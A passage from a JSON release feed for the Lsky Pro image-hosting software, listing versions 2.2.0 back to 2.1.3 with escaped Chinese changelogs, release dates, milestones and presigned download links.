\\u4f18\\u5316\\u50a8\\u5b58\\u79fb\\u9664\\u201ci\\u201d\\u524d\\u7f00\\u9650\\u5236\\n- \\u4f18\\u5316\\u5347\\u7ea7\\u524d\\u7aef\\u5de5\\u7a0b\\u5e93\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u65e7\\u7248\\u672c\\u8fc1\\u79fb\\u6570\\u636e\\u540e\\u65e7\\u8ba2\\u5355\\u91d1\\u989d\\u4e0d\\u6b63\\u786e\\u7684 bug\\n- \\u4fee\\u590d\\u65e7\\u7248\\u672c\\u8fc1\\u79fb\\u540e\\u7684\\u50a8\\u5b58\\u65e0\\u6cd5\\u4fee\\u6539\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u526f\\u6807\\u9898\\u8bbe\\u7f6e\\u4e0d\\u751f\\u6548\\u7684 bug\\n- \\u4fee\\u590d\\u56fe\\u7247\\u5355\\u9009\\u9009\\u62e9\\u65f6\uff0c\\u5176\\u4ed6\\u56fe\\u7247\\u4f1a\\u88ab\\u53d6\\u6d88\\u9009\\u62e9\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u4f18\\u60e0\\u5238\\u5217\\u8868\\u767e\\u5206\\u6bd4\\u4f18\\u60e0\\u5238\\u9762\\u503c\\u663e\\u793a\\u9519\\u8bef\\u7684 bug\\n- \\u4fee\\u590d\\u5fae\\u4fe1\\u652f\\u4ed8\\u914d\\u7f6e\\u540e\\u63d0\\u793a\\u201c\\u65e0\\u53ef\\u7528\\u7684\\u5e73\\u53f0\\u8bc1\\u4e66\\u201d\\u7684 bug","pushed_at":"2025-06-04","milestone":"stable","download_url":"https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.2.0.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;X-Amz-Date=20250818T141321Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=1800&amp;X-Amz-Signature=3b60971f6f0930b43197832588f695d66c1f7964d2e413dc145b4eaac2926a3c"},{"logo":"products\\/lsky-pro.png","name":"V 2.1.13 \\u6b63\\u5f0f\\u7248\\u672c","version":"2.1.13","changelog":"### \\u65b0\\u589e\\n- \\u652f\\u6301\\u7c98\\u8d34\\u4e0a\\u4f20\\n\\n### \\u4f18\\u5316\\n- \\u6539\\u8fdb\\u6570\\u636e\\u8fc1\\u79fb\\u811a\\u672c\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u89d2\\u8272\\u7ec4\\u8bbe\\u7f6e\\u300c\\u56fe\\u7247\\u5230\\u671f\\u65f6\\u95f4\\u300d\\u540e\\u4e0a\\u4f20\\u5931\\u8d25\\u7684 bug\\n- \\u4fee\\u590d {uid} \\u547d\\u540d\\u89c4\\u5219\\u4e0d\\u751f\\u6548\\u7684 bug\\n- \\u4fee\\u590d\\u963f\\u91cc\\u4e91\\u8bbe\\u7f6e\\u6839\\u76ee\\u5f55\\u540e\\u65e0\\u6cd5\\u4e0a\\u4f20\\u7684 bug","pushed_at":"2025-05-04","milestone":"stable","download_url":"https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.13.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;X-Amz-Date=20250818T141321Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=1800&amp;X-Amz-Signature=e841f05ec45820148cfc55a4dea299d2325b1ef83fb6fc0a4207e695d1be6c36"},{"logo":"products\\/lsky-pro.png","name":"V 2.1.12 \\u6b63\\u5f0f\\u7248\\u672c","version":"2.1.12","changelog":"### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u8d2d\\u4e70\\u8ba2\\u9605\\u59cb\\u7ec8\\u83b7\\u5f97\\u7684\\u662f\\u7b2c\\u4e00\\u4e2a\\u9636\\u68af\\u5957\\u9910\\u7684 bug","pushed_at":"2025-05-02","milestone":"stable","download_url":"https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.12.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;X-Amz-Date=20250818T141321Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=1800&amp;X-Amz-Signature=1485234f5d17b7fc5d409d4611dba94c15594f88fc8118a09c67855d875ee510"},{"logo":"products\\/lsky-pro.png","name":"V 2.1.11 \\u6b63\\u5f0f\\u7248\\u672c","version":"2.1.11","changelog":"### \\u65b0\\u589e\\n- \\u589e\\u52a0\\u3010\\u590d\\u5236\\u94fe\\u63a5\\u65f6\\u5bf9URL\\u8fdb\\u884c\\u7f16\\u7801\\u3011\\u8bbe\\u7f6e\\u9879\\n- \\u589e\\u52a0\\u3010\\u9009\\u62e9\\u56fe\\u7247\\u540e\\u7acb\\u523b\\u4e0a\\u4f20\\u3011\\u8bbe\\u7f6e\\u9879\\n- \\u56fe\\u7247\\u7ba1\\u7406\\u652f\\u6301\\u6279\\u91cf\\u8bbe\\u7f6e\\u56fe\\u7247\\u4fe1\\u606f\\n- \\u56fe\\u7247\\u7ba1\\u7406\\u652f\\u6301\\u5feb\\u6377\\u952e\\u591a\\u9009\\/\\u5168\\u9009\\n\\n### \\u4f18\\u5316\\n- \\u50a8\\u5b58\\u7b56\\u7565\\u652f\\u6301\\u8bbe\\u7f6e\\u6839\\u76ee\\u5f55\\n- \\u56fe\\u5f62\\u9a8c\\u8bc1\\u7801\\u4f7f\\u7528 imagick \\u62d3\\u5c55\\u751f\\u6210\\n- \\u6539\\u8fdb\\u56fe\\u7247\\u8f93\\u51fa\\u65b9\\u5f0f\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u5728\\u56fe\\u7247\\u7ba1\\u7406\\u9875\\u9762\\u590d\\u5236\\u94fe\\u63a5\\u4e3a\\u7f29\\u7565\\u56fe\\u800c\\u4e0d\\u662f\\u539f\\u56fe\\u7684 bug\\n- \\u4fee\\u590d ftp \\u50a8\\u5b58\\u4e0a\\u4f20\\u5f02\\u5e38\\u7684 bug\\n- \\u4fee\\u590d sftp \\u4e0a\\u4f20\\u5f02\\u5e38\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u5173\\u95ed\\u90ae\\u4ef6\\u9a8c\\u8bc1\uff0c\\u6ce8\\u518c\\u9875\\u9762\\u4f9d\\u65e7\\u9700\\u8981\\u9a8c\\u8bc1\\u7801\\u7684 bug\\n- \\u4fee\\u590d\\u56fe\\u7247\\u7ba1\\u7406\\u4e2d\\u590d\\u5236\\u56fe\\u7247\\u94fe\\u63a5\\u4e3a\\u7f29\\u7565\\u56fe\\u7684\\u94fe\\u63a5\\u7684 bug\\n- \\u4fee\\u590d\\u8d2d\\u4e70\\u4f1a\\u5458\\u5957\\u9910\\u540e\\u89d2\\u8272\\u7ec4\\u65e0\\u6cd5\\u6b63\\u5e38\\u5207\\u6362\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u7f16\\u8f91\\u7528\\u6237\\u7684\\u89d2\\u8272\\u7ec4\\u5bfc\\u81f4\\u7528\\u6237\\u51fa\\u73b0\\u91cd\\u590d\\u89d2\\u8272\\u7ec4\\u7684 bug\\n- \\u4fee\\u590d\\u65e7\\u7248\\u672c\\u63a5\\u53e3\\u517c\\u5bb9\\u6027\\u95ee\\u9898\\n- \\u4fee\\u590d\\u4f7f\\u7528 Postgres \\u6570\\u636e\\u5e93\\u5b89\\u88c5\\u62a5\\u9519\\u7684 bug\\n- \\u4fee\\u590d\\u5185\\u5bb9\\u5b89\\u5168\\u62e6\\u622a\\u56fe\\u7247\\u540e\uff0c\\u7269\\u7406\\u6587\\u4ef6\\u6ca1\\u6709\\u88ab\\u5220\\u9664\\u7684 bug\\n- \\u4fee\\u590d\\u6e38\\u5ba2\\u4e0a\\u4f20\\u56fe\\u7247\\u540e\\u4f1a\\u8df3\\u8f6c\\u5230\\u767b\\u5f55\\u9875\\u9762\\u7684 bug\\n- \\u4fee\\u590d\\u4e0a\\u4f20\\u91cd\\u590d\\u7684\\u56fe\\u7247(\\u6e38\\u5ba2\\u4e0a\\u4f20)\\u4f1a\\u5bfc\\u81f4\\u56fe\\u7247\\u6d89\\u5931\\u7684 bug","pushed_at":"2025-04-30","milestone":"stable","download_url":"https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.11.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;X-Amz-Date=20250818T141321Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=1800&amp;X-Amz-Signature=4974021dea314e434545bbe7f87cd258524cfd947caf82f0b5cb83f47012d053"},{"logo":"products\\/lsky-pro.png","name":"V 2.1.10 \\u6b63\\u5f0f\\u7248\\u672c","version":"2.1.10","changelog":"### \\u65b0\\u589e\\n- \\u50a8\\u5b58\\u9a71\\u52a8\\u5668\\u589e\\u52a0\\u6d4b\\u8bd5\\u529f\\u80fd\\n- \\u53d1\\u9001\\u9a8c\\u8bc1\\u7801\\u589e\\u52a0\\u56fe\\u5f62\\u9a8c\\u8bc1\\u529f\\u80fd\\n\\n### \\u4f18\\u5316\\n- \\u53bb\\u9664 APP_LICENSE_KEY \\u73af\\u5883\\u53d8\\u91cf\\u914d\\u7f6e\\n- \\u6539\\u8fdb docker \\u90e8\\u7f72\\u811a\\u672c\\n- \\u6539\\u8fdb\\u77ed\\u4fe1\\u9a8c\\u8bc1\\u7801\\u53d1\\u9001\\u903b\\u8f91\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u66f4\\u65b0\\u7cfb\\u7edf\\u65f6\\u6570\\u636e\\u5e93\\u66f4\\u65b0\\u547d\\u4ee4\\u6267\\u884c\\u5931\\u8d25\\u7684 bug\\n- \\u4fee\\u590d docker \\u90e8\\u7f72\\u540e\\u91cd\\u542f\\u5bb9\\u5668\\u5bfc\\u81f4\\u7cfb\\u7edf\\u5f02\\u5e38\\u7684 bug\\n- \\u4fee\\u590d\\u4f7f\\u7528\\u624b\\u673a\\u53f7\\u6ce8\\u518c\\u540e\\u767b\\u5f55\\u51fa\\u9519\\u7684 bug","pushed_at":"2025-04-29","milestone":"stable","download_url":"https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.10.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;X-Amz-Date=20250818T141321Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=1800&amp;X-Amz-Signature=5dba6e6eb059e187d8713b90d0580f613666f10acbd24ec30aae47d1f7d87223"},{"logo":"products\\/lsky-pro.png","name":"V 2.1.9 \\u9884\\u53d1\\u5e03\\u7248\\u672c","version":"2.1.9.250428_rc.2","changelog":"### \\u4f18\\u5316\\n- \\u6539\\u8fdb\\u5b89\\u88c5\\u811a\\u672c\\n- \\u6539\\u8fdb\\u6570\\u636e\\u8fc1\\u79fb\\u811a\\u672c\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u793e\\u4f1a\\u5316\\u767b\\u5f55(QQ)\\u65e0\\u6cd5\\u4f7f\\u7528\\u7684 bug\\n- \\u4fee\\u590d\\u81ea\\u5b9a\\u4e49\\u9875\\u9762\\u5207\\u6362\\u65e0\\u6548\\u7684 bug","pushed_at":"2025-04-28","milestone":"rc","download_url":"https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.9.250428_rc.2.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;X-Amz-Date=20250818T141321Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=1800&amp;X-Amz-Signature=0c7e2012d156debf523bfb7e71cc4162e4f9ddfe4cc0dfcc581e01e15e3a13ac"},{"logo":"products\\/lsky-pro.png","name":"V 2.1.7 \\u9884\\u53d1\\u5e03\\u7248\\u672c","version":"2.1.8.250428_rc.1","changelog":"### \\u4f18\\u5316\\n- \\u6539\\u8fdb\\u4e0a\\u4f20\\u540e\\u65e5\\u5fd7\\u663e\\u793a\\n- docker \\u90e8\\u7f72\\u9ed8\\u8ba4\\u4f7f\\u7528 mysql 8.0\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u540e\\u53f0\\u793e\\u4f1a\\u5316\\u767b\\u5f55\\u9a71\\u52a8\\u8868\\u5355\\u4e0d\\u663e\\u793a\\u56de\\u8c03\\u5730\\u5740\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u8fd0\\u884c\\u6e38\\u5ba2\\u4e0a\\u4f20\\u4f46\\u6e38\\u5ba2\\u65e0\\u6cd5\\u4e0a\\u4f20\\u56fe\\u7247\\u7684 bug\\n- \\u4fee\\u590d\\u5728 debian12 \\u7cfb\\u7edf\\u4e0b docker \\u90e8\\u7f72\\u811a\\u672c\\u627e\\u4e0d\\u5230 docker \\u547d\\u4ee4\\u7684 bug\\n- \\u4fee\\u590d\\u4f7f\\u7528 docker \\u90e8\\u7f72\uff0chttps \\u53cd\\u4ee3\\u540e\\u8bbf\\u95ee\\u540e\\u53f0\\u6837\\u5f0f\\u5f02\\u5e38\\u7684 bug","pushed_at":"2025-04-28","milestone":"rc","download_url":"https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.8.250428_rc.1.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;X-Amz-Date=20250818T141321Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=1800&amp;X-Amz-Signature=5330cee1c6f0a2351a1271c7371d56f7a2ebddc3b2a2fa9ffb03bb53418a1ff6"},{"logo":"products\\/lsky-pro.png","name":"V 2.1.7 \\u516c\\u6d4b\\u7248\\u672c","version":"2.1.7.250413_beta","changelog":"### \\u65b0\\u589e\\n- Token\uff08\\u4ee4\\u724c\uff09\\u652f\\u6301\\u5206\\u914d\\u6743\\u9650\\n- \\u589e\\u52a0 docker \\u4e00\\u952e\\u90e8\\u7f72\\u811a\\u672c\\n- \\u5168\\u65b0\\u7684\\u4e0a\\u4f20\\u9875\\u9762\\u548c\\u4ea4\\u4e92\\n\\n### \\u4f18\\u5316\\n- \\u6539\\u8fdb\\u5b89\\u88c5\\u811a\\u672c\\n- \\u6539\\u8fdb\\u8ba2\\u9605\\u8d2d\\u4e70\\u9875\\u9762\\n- \\u4fee\\u6539\\u7a0b\\u5e8f\\u6388\\u6743\\u65b9\\u5f0f\\n- \\u6539\\u8fdb\\u66f4\\u65b0\\u903b\\u8f91\\n- \\u540e\\u53f0\\u56fe\\u7247\\u5217\\u8868\\u589e\\u52a0\\u56fe\\u7247\\u72b6\\u6001\\u7684\\u663e\\u793a\uff08\\u6b63\\u5e38\\u6216\\u8fdd\\u89c4\uff09\\n- \\u9a8c\\u8bc1\\u7801\\u53d1\\u9001\\u63a5\\u53e3\\u589e\\u52a0\\u9650\\u6d41\\n- \\u524d\\u7aef\\u589e\\u52a0\\u9a8c\\u8bc1\\u90ae\\u7bb1\\u3001\\u624b\\u673a\\u53f7\\u7684\\u9875\\u9762\\n- \\u6539\\u8fdb\\u90ae\\u4ef6\\u53d1\\u9001\\u65b9\\u5f0f\\n- \\u90ae\\u4ef6\\u9a71\\u52a8\\u652f\\u6301\\u8bbe\\u7f6e\\u72ec\\u7acb\\u7684\\u53d1\\u4ef6\\u4eba\\u4fe1\\u606f\\n- \\u6539\\u8fdb\\u77ed\\u4fe1\\u7cfb\\u7edf\\n- \\u4fa7\\u8fb9\\u680f\\u589e\\u52a0\\u300c\\u4e2a\\u4eba\\u8d44\\u6599\\u300d\\u5165\\u53e3\\n- \\u5b8c\\u5584\\u56fd\\u9645\\u5316\\u7ffb\\u8bd1\\n- \\u4f18\\u5316\\u524d\\u7aef\\u52a0\\u8f7d\\u6027\\u80fd\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u5728\\u767b\\u5f55\\u60c5\\u51b5\\u4e0b\uff0c\\u7cfb\\u7edf\\u5173\\u95ed\\u6e38\\u5ba2\\u4e0a\\u4f20\\u4f1a\\u63d0\\u793a\\u4e0d\\u652f\\u6301\\u6e38\\u5ba2\\u4e0a\\u4f20\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u7ba1\\u7406\\u4e2d\\u50a8\\u5b58\\u65e0\\u6cd5\\u5220\\u9664\\u7684 bug\\n- \\u4fee\\u590d\\u8d2d\\u4e70\\u4f1a\\u5458\\u5957\\u9910\\u540e\uff0c\\u4e0d\\u663e\\u793a\\u8be5\\u4f1a\\u5458\\u5e94\\u7528\\u7684\\u50a8\\u5b58\\u7684 bug\\n- \\u4fee\\u590d nsfwjs \\u56fe\\u7247\\u5b89\\u5168\\u670d\\u52a1\\u65e0\\u6cd5\\u6b63\\u5e38\\u4f7f\\u7528\\u7684 bug\\n- \\u4fee\\u590d\\u90ae\\u4ef6\\u53d1\\u9001\\u4fee\\u6539\\u4e86\\u914d\\u7f6e\\u540e\uff0c\\u91cd\\u542f\\u624d\\u4f1a\\u751f\\u6548\\u7684 bug\\n- \\u4fee\\u590d\\u56fe\\u7247\\u7ba1\\u7406\\u5220\\u9664\\u56fe\\u7247\\u51fa\\u9519\\u7684 bug\\n- \\u4fee\\u590d\\u76f8\\u518c\\u8be6\\u60c5\\u65e0\\u6cd5\\u5206\\u4eab\\u56fe\\u7247\\u7684 bug\\n- \\u4fee\\u590d\\u4e0a\\u4f20\\u56fe\\u7247\\u540e\uff0c\\u5bf9\\u5e94\\u4f4d\\u7f6e\\u7684\\u6570\\u636e\\u6ca1\\u6709\\u5b9e\\u65f6\\u66f4\\u65b0\\u7684 bug\\n- \\u4fee\\u590d\\u6253\\u5f00\\u300c\\u663e\\u793a\\u539f\\u59cb\\u7167\\u7247\\u300d\\u9009\\u9879\\u540e\\u5217\\u8868\\u9884\\u89c8\\u56fe\\u7247\\u53d8\\u5f97\\u66f4\\u6a21\\u7cca\\u7684 bug\\n- \\u4fee\\u590d\\u5217\\u8868\\u7f29\\u7565\\u56fe\\u6253\\u5f00\\u5927\\u56fe\\u663e\\u793a\\u7684\\u4e0d\\u662f\\u539f\\u56fe\\u7684 bug\\n- \\u4fee\\u590d\\u56fe\\u7247\\u7ba1\\u7406\\u4e2d\\u5220\\u9664\\u56fe\\u7247\\u540e\\u4fa7\\u8fb9\\u680f\\u5bb9\\u91cf\\u672a\\u66f4\\u65b0\\u7684 bug\\n\\n### FAQ\\n- \\u672c\\u6b21\\u66f4\\u65b0\\u9700\\u8981\\u5728\\u66f4\\u65b0\\u540e\\u8fdb\\u5165\\u5f53\\u524d\\u6570\\u636e\\u5e93\\u6267\\u884c\uff1a\`UPDATE \`settings\` SET \`name\` = 'license_key' WHERE \`settings\`.\`name\` = 'serial_no';\`\uff0c\\u5426\\u5219\\u7cfb\\u7edf\\u53ef\\u80fd\\u4f1a\\u51fa\\u73b0 500 \\u9519\\u8bef\\u3002\\n","pushed_at":"2025-04-13","milestone":"beta","download_url":"https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.7.250413_beta.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;X-Amz-Date=20250818T141321Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=1800&amp;X-Amz-Signature=081b0e9846ba69770e78af53b29080d62eee5c8ccb75286a3b5d6e2eea6fa346"},{"logo":"products\\/lsky-pro.png","name":"V 2.1.6 \\u516c\\u6d4b\\u7248\\u672c","version":"2.1.6.250317_beta","changelog":"### \\u65b0\\u589e\\n- \\u6dfb\\u52a0\\u5bf9 libvips \\u56fe\\u7247\\u5904\\u7406\\u9a71\\u52a8\\u7684\\u652f\\u6301\\n- \\u652f\\u6301\\u7528\\u6237\\u63a7\\u5236\\u5217\\u8868\\u663e\\u793a\\u539f\\u59cb\\u56fe\\u7247\\u800c\\u4e0d\\u662f\\u7f29\\u7565\\u56fe\\n\\n### \\u6539\\u8fdb\\n- \\u540e\\u53f0\\u652f\\u6301\\u5207\\u6362\\u56fe\\u7247\\u5904\\u7406\\u5668(Imagick\\u3001Libvips)\\n- \\u6539\\u8fdb\\u5b89\\u88c5\\u811a\\u672c\\n- \\u963f\\u91cc\\u4e91\\u5185\\u5bb9\\u5b89\\u5168\\u589e\\u5f3a\\u7248 service \\u53ef\\u81ea\\u5b9a\\u4e49\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u7528\\u6237\\u6ce8\\u518c\\u51fa\\u9519\\u7684 bug\\n- \\u4fee\\u590d\\u4ece\\u65e7\\u7248\\u672c\\u8fc1\\u79fb\\u7684\\u6570\\u636e\uff0c\\u6587\\u4ef6\\u8def\\u5f84\\u4e0d\\u6b63\\u786e\\u7684 bug\\n- \\u4fee\\u590d\\u4f7f\\u7528\\u4e03\\u725b\\u4e91\\u50a8\\u5b58\\u51fa\\u9519\\u7684 bug\\n- \\u4fee\\u590d\\u975e\\u7ba1\\u7406\\u5458\\u5bfc\\u822a\\u680f\\u4e5f\\u663e\\u793a\\u540e\\u53f0\\u5165\\u53e3\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u89d2\\u8272\\u7ec4\\u7f16\\u8f91\\u53ef\\u80fd\\u4f1a\\u53d6\\u6d88\\u6389\\u9ed8\\u8ba4\\u7ec4\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u7f16\\u8f91\\u80cc\\u666f\\u56fe\\u51fa\\u9519\\u7684 bug\\n- \\u4fee\\u590d\\u56fe\\u7247\\u5b89\\u5168\\u68c0\\u6d4b\\u56fe\\u7247\\u8fdd\\u89c4\\u540e\\u56fe\\u7247\\u4f9d\\u65e7\\u4fdd\\u5b58\\u6210\\u529f\\u7684 bug\\n- \\u4fee\\u590d\\u767b\\u5f55\\u8d26\\u53f7\\u540e\uff0c\\u4e0a\\u4f20\\u9875\\u9762\\u7684\\u8bbe\\u7f6e\\u4e2d\\u4f9d\\u65e7\\u9009\\u62e9\\u7684\\u662f\\u6e38\\u5ba2\\u50a8\\u5b58\\u7684 bug\\n- \\u4fee\\u590d\\u65e0\\u6cd5\\u76f4\\u63a5\\u901a\\u8fc7\\u540e\\u53f0\\u5728\\u7ebf\\u5347\\u7ea7\\u7684 bug","pushed_at":"2025-03-17","milestone":"beta","download_url":"https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.6.250317_beta.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;X-Amz-Date=20250818T141321Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=1800&amp;X-Amz-Signature=ebcdfc3ed7ea9efe75e843d5d2424bc1bbad000c7bfacc3f25cac6234a25a288"},{"logo":"products\\/lsky-pro.png","name":"V 2.1.5 \\u516c\\u6d4b\\u7248\\u672c","version":"2.1.5.250218_beta","changelog":"### \\u6539\\u8fdb\\n- \\u6539\\u8fdb\\u6837\\u5f0f\\n- \\u6539\\u8fdb\\u5e7f\\u573a\\u548c\\u5206\\u4eab\\u56fe\\u7247\\u5217\\u8868\\u7684\\u663e\\u793a\\u5927\\u5c0f\\n- \\u6539\\u8fdb\\u8fc1\\u79fb\\u811a\\u672c\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u540e\\u53f0\\u56fe\\u7247\\u8be6\\u60c5\\u7684\\u56fe\\u7247\\u9884\\u89c8\\u6ea2\\u51fa\\u7684bug\\n- \\u4fee\\u590d\\u6ce8\\u518c\\u9875\\u9762\\u63d0\\u793a name \\u4e0d\\u80fd\\u4e3a\\u7a7a\\u7684 bug\\n- \\u4fee\\u590d\\u81ea\\u5b9a\\u4e49\\u7528\\u6237\\u7ec4\\u540e\uff0c\\u9996\\u9875\\u663e\\u793a\\u7528\\u6237\\u7ec4\\u9519\\u8bef\\u7684 bug\\n- \\u4fee\\u590d\\u5bb9\\u91cf\\u5957\\u9910\\u8fc7\\u671f\\u540e\uff0c\\u5de6\\u4e0b\\u89d2\\u5bb9\\u91cf\\u7edf\\u8ba1\\u672a\\u66f4\\u65b0\\u7684 bug\\n- \\u4fee\\u590d\\u5bfc\\u822a\\u680f\\u5207\\u6362\\u8bed\\u8a00\\u5237\\u65b0\\u540e\\u5931\\u6548\\u7684 bug","pushed_at":"2025-02-18","milestone":"beta","download_url":"https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.5.250218_beta.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;X-Amz-Date=20250818T141321Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=1800&amp;X-Amz-Signature=0627ad09cec2aac2dac4ef885e506a352ba173fc52a965b0b7dfa20293f113e3"},{"logo":"products\\/lsky-pro.png","name":"V 2.1.4 \\u516c\\u6d4b\\u7248\\u672c","version":"2.1.4.241227_beta","changelog":"### \\u65b0\\u589e\\n- \\u81ea\\u5b9a\\u4e49 tokens\uff0c\\u53ef\\u89c6\\u5316\\u7ba1\\u7406\\n\\n### \\u6539\\u8fdb\\n- \\u89e3\\u51b3\\u524d\\u7aef\\u7ec4\\u4ef6\\u547d\\u540d\\u51b2\\u7a81\\n- \\u79fb\\u9664 ide-helper\\n- \\u66ff\\u6362\\u7cfb\\u7edf\\u914d\\u7f6e\\u83b7\\u53d6\\u65b9\\u6cd5(laravel-settings)\\n- \\u53bb\\u9664\\u540e\\u53f0\\u5207\\u6362\\u8c03\\u8bd5\\u6a21\\u5f0f\\u6309\\u94ae\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u6570\\u636e\\u65e0\\u6cd5\\u8fc1\\u79fb\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u4fee\\u6539\\u7528\\u6237\\u89d2\\u8272\\u7ec4\\u4f1a\\u4f7f\\u7528\\u6237\\u51fa\\u73b0\\u591a\\u4e2a\\u7cfb\\u7edf\\u89d2\\u8272\\u7ec4\\u7684 bug\\n- \\u4fee\\u590d Epay usdt \\u652f\\u4ed8\\u65b9\\u5f0f\\u4e0d\\u663e\\u793a\\u7684 bug\\n- \\u4fee\\u590d\\u5b89\\u88c5\\u811a\\u672c\\u627e\\u4e0d\\u5230 php \\u547d\\u4ee4\\u7684 bug\\n- \\u4fee\\u590d\\u4f18\\u60e0\\u5238\\u53ef\\u91cd\\u590d\\u4f7f\\u7528\\u7684 bug\\n- \\u4fee\\u590d\\u5957\\u9910\\u8bbe\\u7f6e\\u4e86\\u5bb9\\u91cf\\u4f1a\\u51fa\\u73b0\\u65e0\\u6cd5\\u652f\\u4ed8\\u56de\\u8c03\\u5904\\u7406\\u5931\\u8d25\\u7684 bug\\n- \\u4fee\\u590d\\u8ba2\\u5355\\u4f7f\\u7528\\u4f18\\u60e0\\u5238\\u540e\uff0c\\u4f18\\u60e0\\u5238\\u5df2\\u4f7f\\u7528\\u6b21\\u6570\\u672a\\u589e\\u52a0\\u7684 bug\\n- \\u4fee\\u590d\\u540e\\u53f0\\u8ba2\\u5355\\u91d1\\u989d\\u7edf\\u8ba1\\u4e0d\\u6b63\\u786e\\u7684 bug","pushed_at":"2024-12-27","milestone":"beta","download_url":"https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.1.4.241227_beta.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;X-Amz-Date=20250818T141321Z&amp;X-Amz-SignedHeaders=host&amp;X-Amz-Expires=1800&amp;X-Amz-Signature=8fceac828649f238156795c7088987b3f82c872b5c150118d7901f29df095131"},{"logo":"products\\/lsky-pro.png","name":"V 2.1.3 \\u516c\\u6d4b\\u7248\\u672c","version":"2.1.3.241214_beta","changelog":"### \\u65b0\\u589e\\n- 